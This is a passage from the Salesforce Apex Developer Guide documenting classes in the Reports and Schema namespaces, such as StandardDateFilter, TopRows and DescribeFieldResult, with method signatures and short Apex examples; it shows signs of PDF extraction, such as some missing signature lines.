Sets the column used to sort the records in the report.
Signature
public void setSortColumn(String sortColumn)
Parameters
sortColumn
Type: String
Return Value
Type: void
setSortOrder(SortOrder)
Sets the sort order— ascending or descending—for the sort column.
Signature
public void setSortOrder(Reports.ColumnSortOrder sortOrder)
Parameters
sortOrder
Return Value
Type: void
StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the
standard date filter duration as well as the API name of the date field on which the filter is placed.
Namespace
Reports
IN THIS SECTION:
StandardDateFilter Methods
2260
StandardDateFilter Methods
The following are methods for StandardDateFilter.
IN THIS SECTION:
getColumn()
Returns the API name of the standard date filter column.
getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date
filter.
getEndDate()
Returns the end date of the standard date filter.
getStartDate()
Returns the start date for the standard date filter.
setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.
setDurationValue(durationName)
Sets the API name of the standard date filter.
setEndDate(endDate)
Sets the end date for the standard date filter.
setStartDate(startDate)
Sets the start date for the standard date filter.
getColumn()
Returns the API name of the standard date filter column.
Signature
public String getColumn()
Return Value
Type: String
getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.
Signature
public String getDurationValue()
Return Value
Type: String
2261
getEndDate()
Returns the end date of the standard date filter.
Signature
public String getEndDate()
Return Value
Type: String
getStartDate()
Returns the start date for the standard date filter.
Signature
public String getStartDate()
Return Value
Type: String
setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.
Signature
public void setColumn(String standardDateFilterColumnName)
Parameters
standardDateFilterColumnName
Type: String
Return Value
Type: void
setDurationValue(durationName)
Sets the API name of the standard date filter.
Signature
public void setDurationValue(String durationName)
2262
Parameters
durationName
Type: String
Return Value
Type: void
setEndDate(endDate)
Sets the end date for the standard date filter.
Signature
public void setEndDate(String endDate)
Parameters
endDate
Type: String
Return Value
Type: void
setStartDate(startDate)
Sets the start date for the standard date filter.
Signature
public void setStartDate(String startDate)
Parameters
startDate
Type: String
Return Value
Type: void
StandardDateFilterDuration Class
Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display label
of the standard date filter duration as well as the start and end dates.
Namespace
Reports
2263
IN THIS SECTION:
StandardDateFilterDuration Methods
StandardDateFilterDuration Methods
The following are methods for StandardDateFilterDuration.
IN THIS SECTION:
getEndDate()
Returns the end date of the date filter.
getLabel()
Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and
custom date filters.
getStartDate()
Returns the start date of the date filter.
getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and
NEXT_FISCAL_QUARTER—and custom date filters.
getEndDate()
Returns the end date of the date filter.
Signature
public String getEndDate()
Return Value
Type: String
getLabel()
Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and
custom date filters.
Signature
Return Value
Type: String
getStartDate()
Returns the start date of the date filter.
2264
Signature
public String getStartDate()
Return Value
Type: String
getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and
NEXT_FISCAL_QUARTER—and custom date filters.
Signature
Return Value
Type: String
StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall
under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week,
Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.
Namespace
Reports
IN THIS SECTION:
StandardDateFilterDurationGroup Methods
StandardDateFilterDurationGroup Methods
The following are methods for StandardDateFilterDurationGroup.
IN THIS SECTION:
getLabel()
Returns the display label for the standard date filter grouping.
getStandardDateFilterDurations()
Returns the standard date filter groupings.
getLabel()
Returns the display label for the standard date filter grouping.
2265
Signature
Return Value
Type: String
getStandardDateFilterDurations()
Returns the standard date filter groupings.
Signature
public List<Reports.StandardDateFilterDuration> getStandardDateFilterDurations()
Return Value
Type: List<Reports.StandardDateFilterDuration>
For example, a standard filter date grouping might look like this:
Reports.StandardDateFilterDuration[endDate=2015-12-31, label=Current FY,
startDate=2015-01-01, value=THIS_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous FY,
startDate=2014-01-01, value=LAST_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous 2 FY,
startDate=2013-01-01, value=LAST_N_FISCAL_YEARS:2]
StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.
Namespace
Reports
Usage
Use to get or set standard filters on a report. Standard filters vary by report type. For example, standard filters for reports on the Opportunity
object are Show, Opportunity Status, and Probability.
IN THIS SECTION:
StandardFilter Methods
StandardFilter Methods
The following are methods for StandardFilter.
2266
IN THIS SECTION:
getName()
Return the API name of the standard filter.
getValue()
Returns the standard filter value.
setName(name)
Sets the API name of the standard filter.
setValue(value)
Sets the standard filter value.
getName()
Return the API name of the standard filter.
Signature
Return Value
Type: String
getValue()
Returns the standard filter value.
Signature
Return Value
Type: String
setName(name)
Sets the API name of the standard filter.
Signature
public void setName(String name)
Parameters
name
Type: String
2267
Return Value
Type: void
setValue(value)
Sets the standard filter value.
Signature
public void setValue(String value)
Parameters
value
Type: String
Return Value
Type: void
StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.
Namespace
Reports
IN THIS SECTION:
StandardFilterInfo Methods
StandardFilterInfo Methods
The following are methods for StandardFilterInfo.
IN THIS SECTION:
getLabel()
Returns the display label of the standard filter.
getType()
Returns the type of standard filter.
getLabel()
Returns the display label of the standard filter.
Signature
2268
Return Value
Type: String
getType()
Returns the type of standard filter.
Signature
public Reports.StandardFilterType getType()
Return Value
Type: Reports.StandardFilterType
StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and
a list of all possible picklist values.
Namespace
Reports
IN THIS SECTION:
StandardFilterInfoPicklist Methods
StandardFilterInfoPicklist Methods
The following are methods for StandardFilterInfoPicklist.
IN THIS SECTION:
getDefaultValue()
Returns the default value for the standard filter picklist.
getFilterValues()
Returns a list of standard filter picklist values.
getLabel()
Returns the display name of the standard filter picklist.
getType()
Returns the type of the standard filter picklist.
getDefaultValue()
Returns the default value for the standard filter picklist.
2269
Signature
Return Value
Type: String
getFilterValues()
Returns a list of standard filter picklist values.
Signature
public List<Reports.FilterValue> getFilterValues()
Return Value
getLabel()
Returns the display name of the standard filter picklist.
Signature
Return Value
Type: String
getType()
Returns the type of the standard filter picklist.
Signature
public Reports.StandardFilterType getType()
Return Value
Type: Reports.StandardFilterType
StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a
Reports.StandardFilterType enum value.
2270
Namespace
Reports
Enum Values
The following are the values of the Reports.StandardFilterType enum.
Value Description
PICKLIST Values for the standard filter type.
STRING String values.
SummaryValue Class
Contains summary data for a cell of the report.
Namespace
Reports
SummaryValue Methods
The following are methods for SummaryValue. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the formatted summary data for a specified cell.
getValue()
Returns the numeric value of the summary data for a specified cell.
getLabel()
Returns the formatted summary data for a specified cell.
Syntax
Return Value
Type: String
getValue()
Returns the numeric value of the summary data for a specified cell.
2271
Syntax
Return Value
Type: Object
ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.
Namespace
Reports
IN THIS SECTION:
ThresholdInformation Constructors
ThresholdInformation Methods
ThresholdInformation Constructors
The following are constructors for ThresholdInformation.
IN THIS SECTION:
ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.
ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.
Signature
public ThresholdInformation(List<Reports.EvaluatedCondition> evaluatedConditions)
Parameters
evaluatedConditions
Type: List<Reports.EvaluatedCondition>
A list of Reports.EvaluatedCondition objects.
ThresholdInformation Methods
The following are methods for ThresholdInformation.
2272
IN THIS SECTION:
getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.
getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.
Signature
public List<Reports.EvaluatedCondition> getEvaluatedConditions()
Return Value
Type: List<Reports.EvaluatedCondition>
TopRows Class
Contains methods and constructors for working with information about a row limit filter.
Namespace
Reports
IN THIS SECTION:
TopRows Constructors
TopRows Methods
TopRows Constructors
The following are constructors for TopRows.
IN THIS SECTION:
TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.
TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the class’s set methods.
TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.
Signature
public TopRows(Integer rowLimit, Reports.ColumnSortOrder direction)
2273
Parameters
rowLimit
Type: Integer
The number of rows returned in the report.
direction
The sort order of the report rows.
TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the class’s set methods.
Signature
public TopRows()
TopRows Methods
The following are methods for TopRows.
IN THIS SECTION:
getDirection()
Returns the sort order of the report rows.
getRowLimit()
Returns the maximum number of rows shown in the report.
setDirection(value)
Sets the sort order of the report’s rows.
setDirection(direction)
setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.
toString()
Returns a string.
getDirection()
Returns the sort order of the report rows.
Signature
public Reports.ColumnSortOrder getDirection()
Return Value
2274
getRowLimit()
Returns the maximum number of rows shown in the report.
Signature
public Integer getRowLimit()
Return Value
Type: Integer
setDirection(value)
Signature
public void setDirection(String value)
Parameters
value
Type: String
For possible values, see Reports.ColumnSortOrder.
Return Value
Type: void
setDirection(direction)
Signature
public void setDirection(Reports.ColumnSortOrder direction)
Parameters
direction
Return Value
Type: void
setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.
2275
Signature
public void setRowLimit(Integer rowLimit)
Parameters
rowLimit
Type: Integer
Return Value
Type: void
toString()
Returns a string.
Signature
Return Value
Type: String
Reports Exceptions
The Reports namespace contains exception classes.
Exceptions on page 2529.
The Reports namespace contains these exceptions:

Reports.FeatureNotSupportedException Invalid report format
Reports.InstanceAccessException Unable to access report

instance
Reports.InvalidFilterException Filter validation error List<String> getFilterErrors() returns a list of

filter errors
Reports.InvalidReportMetadataException Missing metadata for List<String> getReportMetadataErrors()

filters returns a list of metadata errors
Reports.InvalidSnapshotDateException Invalid historical report List<String> getSnapshotDateErrors() returns

format a list of snapshot date errors
Reports.MetadataException No selected report

columns
Reports.ReportRunException Error running report
2276
Apex Developer Guide Schema Namespace

Reports.UnsupportedOperationException Missing permissions for
running reports
Schema Namespace
The Schema namespace provides classes and methods for schema metadata information.
The following are the classes in the Schema namespace.
IN THIS SECTION:
ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
DataCategory Class
Represents the categories within a category group.
DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.
DescribeColorResult Class
Contains color metadata information for a tab.
DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.
DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.
DescribeFieldResult Class
Contains methods for describing sObject fields.
DescribeIconResult Class
Contains icon metadata information for a tab.
DescribeSObjectResult Class
Contains methods for describing sObjects.
DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.
DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.
DisplayType Enum
A Schema.DisplayType enum value is returned by the field describe result's getType method.
FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.
FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.
PicklistEntry Class
Represents a picklist entry.
2277
RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.
SOAPType Enum
A Schema.SOAPType enum value is returned by the field describe result getSoapType method.
SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getControler and
getSObjectField methods.
SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from
the sObject describe result using the getSObjectType method.
ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
Namespace
Schema
Example
A ChildRelationship object is returned from the sObject describe result using the getChildRelationship method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.ChildRelationship> C = R.getChildRelationships();
ChildRelationship Methods
The following are methods for ChildRelationship. All are instance methods.
IN THIS SECTION:
getChildSObject()
Returns the token of the child sObject on which there is a foreign key back to the parent sObject.
getField()
Returns the token of the field that has a foreign key back to the parent sObject.
getRelationshipName()
Returns the name of the relationship.
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
isDeprecatedAndHidden()
isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.
2278
getChildSObject()
Returns the token of the child sObject on which there is a foreign key back to the parent sObject.
Signature
public Schema.SObjectType getChildSObject()
Return Value
Type: Schema.SObjectType
getField()
Returns the token of the field that has a foreign key back to the parent sObject.
Signature
public Schema.SObjectField getField()
Return Value
Type: Schema.SObjectField
Signature
public String getRelationshipName()
Return Value
Type: String
isCascadeDelete()
Signature
public Boolean isCascadeDelete()
Return Value
Type: Boolean
2279
Signature
public Boolean isDeprecatedAndHidden()
Return Value
Type: Boolean
Signature
public Boolean isRestrictedDelete()
Return Value
Type: Boolean
DataCategory Class
Represents the categories within a category group.
Namespace
Schema
Usage
The Schema.DataCategory object is returned by the getTopCategories method.
DataCategory Methods
The following are methods for DataCategory. All are instance methods.
IN THIS SECTION:
getChildCategories()
Returns a recursive object that contains the visible sub categories in the data category.
getLabel()
Returns the label for the data category used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category.
getChildCategories()
Returns a recursive object that contains the visible sub categories in the data category.
2280
Signature
public Schema.DataCategory getChildCategories()
Return Value
Type: List<Schema.DataCategory>
getLabel()
Returns the label for the data category used in the Salesforce user interface.
Signature
Return Value
Type: String
getName()
Returns the unique name used by the API to access to the data category.
Signature
Return Value
Type: String
DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.
Namespace
Schema
Usage
Schema.DataCategoryGroupSobjectTypePair is used by the describeDataCategory GroupStructures method to return
the categories available to this object.
IN THIS SECTION:
DataCategoryGroupSobjectTypePair Constructors
DataCategoryGroupSobjectTypePair Methods
2281
DataCategoryGroupSobjectTypePair Constructors
The following are constructors for DataCategoryGroupSobjectTypePair.
IN THIS SECTION:
DataCategoryGroupSobjectTypePair()
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.
DataCategoryGroupSobjectTypePair()
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.
Signature
public DataCategoryGroupSobjectTypePair()
DataCategoryGroupSobjectTypePair Methods
The following are methods for DataCategoryGroupSobjectTypePair. All are instance methods.
IN THIS SECTION:
getDataCategoryGroupName()
Returns the unique name used by the API to access the data category group.
getSobject()
Returns the object name associated with the data category group.
setDataCategoryGroupName(name)
Specifies the unique name used by the API to access the data category group.
setSobject(sObjectName)
Sets the sObject associated with the data category group.
getDataCategoryGroupName()
Returns the unique name used by the API to access the data category group.
Signature
public String getDataCategoryGroupName()
Return Value
Type: String
getSobject()
2282
Signature
public String getSobject()
Return Value
Type: String
setDataCategoryGroupName(name)
Specifies the unique name used by the API to access the data category group.
Signature
public String setDataCategoryGroupName(String name)
Parameters
name
Type: String
Return Value
Type: Void
setSobject(sObjectName)
Sets the sObject associated with the data category group.
Signature
public Void setSobject(String sObjectName)
Parameters
sObjectName
Type: String
The sObjectName is the object name associated with the data category group. Valid values are:
• KnowledgeArticleVersion—for article types.
• Question—for questions from Answers.
Return Value
Type: Void
DescribeColorResult Class
Contains color metadata information for a tab.
2283
Namespace
Schema
Usage
The getColors method of the Schema.DescribeTabResult class returns a list of Schema.DescribeColorResult
objects that describe colors used in a tab.
The methods in the Schema.DescribeColorResult class can be called using their property counterparts. For each method
starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
colorResultObj.color is equivalent to colorResultObj.getColor().
Example
This sample shows how to get the color information in the Sales app for the first tab’s first color.
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.DescribeTabs();
// Iterate through each tab set describe for each app and display the info
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
// Display tab info for the Sales app
if (tsr.getLabel() == 'Sales') {
// Get color information for the first tab
List<Schema.DescribeColorResult> colorDesc = tsr.getTabs()[0].getColors();
// Display the icon color, theme, and context of the first color returned
System.debug('Color: ' + colorDesc[0].getColor());
System.debug('Theme: ' + colorDesc[0].getTheme());
System.debug('Context: ' + colorDesc[0].getContext());
}
}

// DEBUG|Color: 1797C0
// DEBUG|Theme: theme4
// DEBUG|Context: primary
DescribeColorResult Methods
The following are methods for DescribeColorResult. All are instance methods.
IN THIS SECTION:
getColor()
Returns the Web RGB color code, such as 00FF00.
getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.
getTheme()
Returns the color theme.
2284
getColor()
Returns the Web RGB color code, such as 00FF00.
Signature
public String getColor()
Return Value
Type: String
getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.
Signature
public String getContext()
Return Value
Type: String
getTheme()
Returns the color theme.
Signature
public String getTheme()
Return Value
Type: String
Possible theme values include theme3, theme4, and custom.
• theme3 is the Salesforce theme introduced during Spring ‘10.
• theme4 is the Salesforce theme introduced in Winter ‘14 for the mobile touchscreen version of Salesforce.
• custom is the theme name associated with a custom icon.
DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.
Namespace
Schema
2285
Usage
The describeDataCategoryGroups method returns a Schema.DescribeDataCategoryGroupResult object
containing the list of the category groups associated with the specified object.
For additional information and code examples using describeDataCategoryGroups, see Accessing All Data Categories
Associated with an sObject.
Example
The following is an example of how to instantiate a data category group describe result object:
List <String> objType = new List<String>();
List<Schema.DescribeDataCategoryGroupResult> describeCategoryResult =
Schema.describeDataCategoryGroups(objType);
DescribeDataCategoryGroupResult Methods
The following are methods for DescribeDataCategoryGroupResult. All are instance methods.
IN THIS SECTION:
getCategoryCount()
Returns the number of visible data categories in the data category group.
getDescription()
Returns the description of the data category group.
getLabel()
Returns the label for the data category group used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category group.
getSobject()
getCategoryCount()
Returns the number of visible data categories in the data category group.
Signature
public Integer getCategoryCount()
Return Value
Type: Integer
2286
getDescription()
Signature
Return Value
Type: String
getLabel()
Signature
Return Value
Type: String
getName()
Signature
Return Value
Type: String
getSobject()
Signature
Return Value
Type: String
DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.
2287
Namespace
Schema
Usage
The describeDataCategoryGroupStructures method returns a list of Schema.Describe
DataCategoryGroupStructureResult objects containing the category groups and categories associated with the specified
object.
For additional information and code examples, see Accessing All Data Categories Associated with an sObject.
Example
The following is an example of how to instantiate a data category group structure describe result object:
List <DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
DataCategoryGroupSobjectTypePair pair1 =
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');
DataCategoryGroupSobjectTypePair pair2 =
pair2.setSobject('Questions');
pair2.setDataCategoryGroupName('Regions');
pairs.add(pair1);
pairs.add(pair2);
List<Schema.DescribeDataCategoryGroupStructureResult>results =
Schema.describeDataCategoryGroupStructures(pairs, true);
DescribeDataCategoryGroupStructureResult Methods
The following are methods for DescribeDataCategoryGroupStructureResult. All are instance methods.
IN THIS SECTION:
getDescription()
getLabel()
getName()
getSobject()
Returns the name of object associated with the data category group.
2288
getTopCategories()
Returns a Schema.DataCategory object, that contains the top categories visible depending on the user's data category group
visibility settings.
getDescription()
Signature
Return Value
Type: String
getLabel()
Signature
Return Value
Type: String
getName()
Signature
Return Value
Type: String
getSobject()
Returns the name of object associated with the data category group.
Signature
Return Value
Type: String
2289
getTopCategories()
Returns a Schema.DataCategory object, that contains the top categories visible depending on the user's data category group
visibility settings.
Signature
public List<Schema.DataCategory> getTopCategories()
Return Value
Type: List<Schema.DataCategory>
Usage
For more information on data category group visibility, see “Data Category Visibility” in the Salesforce online help.
DescribeFieldResult Class
Contains methods for describing sObject fields.
Namespace
Schema
Example
The following is an example of how to instantiate a field describe result object:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
DescribeFieldResult Methods
The following are methods for DescribeFieldResult. All are instance methods.
IN THIS SECTION:
getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.
getCalculatedFormula()
Returns the formula specified for this field.
getController()
Returns the token of the controlling field.
getDefaultValue()
Returns the default value for this field.
getDefaultValueFormula()
Returns the default value specified for this field if a formula is not used.
getDigits()
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.
2290
getInlineHelpText()
Returns the content of the field-level help.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.
getLength()
For string fields, returns the maximum size of the field in Unicode characters (not bytes).
getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace
portion of the name is omitted.
getName()
Returns the field name used in Apex.
getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.
getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the
right of the decimal point (but excluding the decimal point character).
getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the
child external object's indirect lookup relationship field. The match is done to determine which records are related to each other.
getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true,
there is more than one entry in the list, otherwise there is only one.
getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.
getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal
point are truncated.
getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.
getSObjectField()
Returns the token for this field.
getType()
Returns one of the DisplayType enum values, depending on the type of field.
isAccessible()
Returns true if the current user can see this field, false otherwise.
isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.
isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.
2291
isCascadeDelete()
isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.
isCreateable()
Returns true if the field can be created by the current user, false otherwise.
isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.
isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.
isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.
isExternalID()
Returns true if the field is used as an external ID, false otherwise.
isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.
isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only
available for Apex classes and triggers saved using API version 18.0 and higher.
isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example
of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has
an IMAGE text function.
isIdLookup()
Returns true if the field can be used to specify a record in an upsert method, false otherwise.
isNameField()
Returns true if the field is a name field, false otherwise.
isNamePointing()
Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead
ID (WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of
those objects can be the parent of a particular task record. This method returns false otherwise.
isNillable()
Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a
value for the object to be created or saved.
isPermissionable()
Returns true if field permissions can be specified for the field, false otherwise.
2292
isRestrictedPicklist()
Returns true if the field is a restricted picklist, false otherwise
isSearchPrefilterable()
Returns true if a foreign key can be included in prefiltering when used in a SOSL WHERE clause, false otherwise.
isSortable()
Returns true if a query can sort on the field, false otherwise
isUnique()
Returns true if the value for the field must be unique, false otherwise
isUpdateable()
Returns true if the field can be edited by the current user, or child records in a master-detail relationship field on a custom object
can be reparented to different parent records; false otherwise.
isWriteRequiresMasterRead()
Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.
getByteLength()
For variable-length fields (including binary fields), returns the maximum size of the field, in bytes.
Signature
public Integer getByteLength()
Return Value
Type: Integer
getCalculatedFormula()
Returns the formula specified for this field.
Signature
public String getCalculatedFormula()
Return Value
Type: String
getController()
Returns the token of the controlling field.
Signature
public Schema.sObjectField getController()
2293
Return Value
getDefaultValue()
Returns the default value for this field.
Signature
public Object getDefaultValue()
Return Value
Type: Object
getDefaultValueFormula()
Returns the default value specified for this field if a formula is not used.
Signature
public String getDefaultValueFormula()
Return Value
Type: String
getDigits()
Returns the maximum number of digits specified for the field. This method is only valid with Integer fields.
Signature
public Integer getDigits()
Return Value
Type: Integer
getInlineHelpText()
Returns the content of the field-level help.
Signature
public String getInlineHelpText()
Return Value
Type: String
2294
Usage
For more information, see “Define Field-Level Help” in the Salesforce online help.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface. This label can be localized.
Signature
Return Value
Type: String
Usage
Note: For the Type field on standard objects, getLabel returns a label different from the default label. It returns a label of the
form Object Type, where Object is the standard object label. For example, for the Type field on Account, getLabel returns
Account Type instead of the default label Type. If the Type label is renamed, getLabel returns the new label. You can
check or change the labels of all standard object fields from Setup by entering Rename Tabs and Labels in the Quick
Find box, then selecting Rename Tabs and Labels.
getLength()
For string fields, returns the maximum size of the field in Unicode characters (not bytes).
Signature
public Integer getLength()
Return Value
Type: Integer
getLocalName()
Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace
portion of the name is omitted.
Signature
public String getLocalName()
Return Value
Type: String
2295
getName()
Returns the field name used in Apex.
Signature
Return Value
Type: String
getPicklistValues()
Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist.
Signature
public List<Schema.PicklistEntry> getPicklistValues()
Return Value
Type: List<Schema.PicklistEntry>
getPrecision()
For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right
of the decimal point (but excluding the decimal point character).
Signature
public Integer getPrecision()
Return Value
Type: Integer
getReferenceTargetField()
Returns the name of the custom field on the parent standard or custom object whose values are matched against the values of the child
external object's indirect lookup relationship field. The match is done to determine which records are related to each other.
Signature
public String getReferenceTargetField()
Return Value
Type: String
2296
Usage
For information about indirect lookup relationships, see “Indirect Lookup Relationship Fields on External Objects” in the Salesforce Help.
getReferenceTo()
Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true,
there is more than one entry in the list, otherwise there is only one.
Signature
public List <Schema.sObjectType> getReferenceTo()
Return Value
Type: List<Schema.sObjectType>
Signature
public String getRelationshipName()
Return Value
Type: String
Usage
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and
SOSL Reference.
getRelationshipOrder()
Returns 1 if the field is a child, 0 otherwise.
Signature
public Integer getRelationshipOrder()
Return Value
Type: Integer
Usage
For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com SOQL and
SOSL Reference.
2297
getScale()
For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point
are truncated.
Signature
public Integer getScale()
Return Value
Type: Integer
Usage
This method returns a fault response if the number has too many digits to the left of the decimal point.
getSOAPType()
Returns one of the SoapType enum values, depending on the type of field.
Signature
public Schema.SOAPType getSOAPType()
Return Value
Type: Schema.SOAPType
getSObjectField()
Returns the token for this field.
Signature
public Schema.sObjectField getSObjectField()
Return Value
getType()
Returns one of the DisplayType enum values, depending on the type of field.
Signature
public Schema.DisplayType getType()
Return Value
Type: Schema.DisplayType
2298
isAccessible()
Returns true if the current user can see this field, false otherwise.
Signature
public Boolean isAccessible()
Return Value
Type: Boolean
isAutoNumber()
Returns true if the field is an Auto Number field, false otherwise.
Signature
public Boolean isAutoNumber()
Return Value
Type: Boolean
Usage
Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters.
Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or
invoice number). Auto Number fields are configured entirely in the Salesforce user interface.
isCalculated()
Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only.
Signature
public Boolean isCalculated()
Return Value
Type: Boolean
isCascadeDelete()
Signature
public Boolean isCascadeDelete()
2299
Return Value
Type: Boolean
isCaseSensitive()
Returns true if the field is case sensitive, false otherwise.
Signature
public Boolean isCaseSensitive()
Return Value
Type: Boolean
isCreateable()
Returns true if the field can be created by the current user, false otherwise.
Signature
public Boolean isCreateable()
Return Value
Type: Boolean
isCustom()
Returns true if the field is a custom field, false if it is a standard field, such as Name.
Signature
public Boolean isCustom()
Return Value
Type: Boolean
isDefaultedOnCreate()
Returns true if the field receives a default value when created, false otherwise.
Signature
public Boolean isDefaultedOnCreate()
Return Value
Type: Boolean
2300
Usage
If this method returns true, Salesforce implicitly assigns a value for this field when the object is created, even if a value for this field is
not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived
from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the
Owner field is not specified).
isDependentPicklist()
Returns true if the picklist is a dependent picklist, false otherwise.
Signature
public Boolean isDependentPicklist()
Return Value
Type: Boolean
Signature
public Boolean isDeprecatedAndHidden()
Return Value
Type: Boolean
isExternalID()
Returns true if the field is used as an external ID, false otherwise.
Signature
public Boolean isExternalID()
Return Value
Type: Boolean
isFilterable()
Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise.
Signature
public Boolean isFilterable()
2301
Return Value
Type: Boolean
isGroupable()
Returns true if the field can be included in the GROUP BY clause of a SOQL query, false otherwise. This method is only available
for Apex classes and triggers saved using API version 18.0 and higher.
Signature
public Boolean isGroupable()
Return Value
Type: Boolean
isHtmlFormatted()
Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example
of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has an
IMAGE text function.
Signature
public Boolean isHtmlFormatted()
Return Value
Type: Boolean
isIdLookup()
